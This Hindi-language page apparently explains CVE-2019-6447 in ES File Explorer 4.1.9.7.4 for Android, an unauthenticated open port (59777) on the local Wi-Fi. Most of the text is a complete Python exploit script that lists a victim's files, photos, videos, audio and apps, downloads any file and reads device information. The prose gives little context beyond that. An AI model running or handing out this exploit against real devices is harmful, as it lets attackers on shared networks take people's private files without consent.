
ES File Explorer में Android भेद्यता का शोषण
ES फ़ाइल एक्सप्लोरर में Android कमजोरी का शोषण
ES फ़ाइल एक्सप्लोरर ES वर्ल्डवाइड द्वारा बनाया गया था, जो DO ग्लोबल का हिस्सा है और चीन में स्थित है। यह ES फ़ाइल एक्सप्लोरर केवल Android ऑपरेटिंग सिस्टम चलाने वाले मोबाइल उपकरणों पर उपयोग के लिए उपलब्ध है। इस समय, ES फ़ाइल एक्सप्लोरर को कुल 100 मिलियन से अधिक बार डाउनलोड किया जा चुका है। यह एप्लिकेशन Android का प्रसिद्ध फ़ाइल एक्सप्लोरर है, इसलिए इसे बहुत ध्यान मिलता है। दूसरी ओर, 2019 में, साइबर सुरक्षा में विशेषज्ञता रखने वाले शोधकर्ताओं ने ES फ़ाइल एक्सप्लोरर 4.1.9.7.4 संस्करण में एक कमजोरी की खोज की। जो हमलावर उस कमजोरी का शोषण करने में सक्षम हैं, वे ES फ़ाइल एक्सप्लोरर में सहेजे गए सभी संवेदनशील उपयोगकर्ता डेटा को एकत्र करने की स्थिति में हैं। इसमें तस्वीरें, वीडियो, वॉइस रिकॉर्डिंग, दस्तावेज़ और अन्य डेटा प्रकार शामिल हैं।
4.1.9.7.4 संस्करण के माध्यम से, Android के लिए ES फ़ाइल एक्सप्लोरर फ़ाइल मैनेजर एप्लिकेशन दूरस्थ हमलावरों को TCP पोर्ट 59777 पर क्वेरी करके स्थानीय वाई-फाई नेटवर्क पर मनमानी फ़ाइलें पढ़ने या ऐप्स चलाने में सक्षम बनाता है। ES एप्लिकेशन के एक बार लॉन्च होने के बाद, यह TCP पोर्ट खुला रहेगा और HTTP पर भेजे गए अप्रमाणित application/json डेटा का जवाब देगा।
4.1.9.7.4 संस्करण
angler:/ # netstat -ap | grep com.estrongs
tcp6 0 0 :::59777 :::* LISTEN 5696/com.estrongs.android.pop
import requests
import json
import ast
import sys
if len(sys.argv) < 3:
print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
sys.exit(1)
url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
print("[-] WRONG COMMAND!")
print("Available commands : ")
print(" listFiles : List all Files.")
print(" listPics : List all Pictures.")
print(" listVideos : List all videos.")
print(" listAudios : List all audios.")
print(" listApps : List Applications installed.")
print(" listAppsSystem : List System apps.")
print(" listAppsPhone : List Communication related apps.")
print(" listAppsSdcard : List apps on the SDCard.")
print(" listAppsAll : List all Application.")
print(" getFile : Download a file.")
print(" getDeviceInfo : Get device info.")
sys.exit(1)
print("\n==================================================================")
print("| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |")
print("| Coded By : Nehal a.k.a PwnerSec |")
print("==================================================================\n")
header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}
def httpPost(cmd):
data = json.dumps({"command":cmd})
response = requests.post(url, headers=header, data=data)
return ast.literal_eval(response.text)
def parse(text, keys):
for dic in text:
for key in keys:
print(f"{key} : {dic[key]}")
print('')
def do_listing(cmd):
response = httpPost(cmd)
if len(response) == 0:
keys = []
else:
keys = list(response[0].keys())
parse(response, keys)
if cmd in listCmds:
do_listing(cmd)
elif cmd == cmds[9]:
if len(sys.argv) != 4:
print("[+] Include file name to download.")
sys.exit(1)
elif sys.argv[3][0] != '/':
print("[-] You need to provide full path of the file.")
sys.exit(1)
else:
path = sys.argv[3]
print("[+] Downloading file...")
response = requests.get(url + path)
with open('out.dat','wb') as wf:
wf.write(response.content)
print("[+] Done. Saved as `out.dat`.")
elif cmd == cmds[10]:
response = httpPost(cmd)
keys = list(response.keys())
for key in keys:
print(f"{key} : {response[key]}")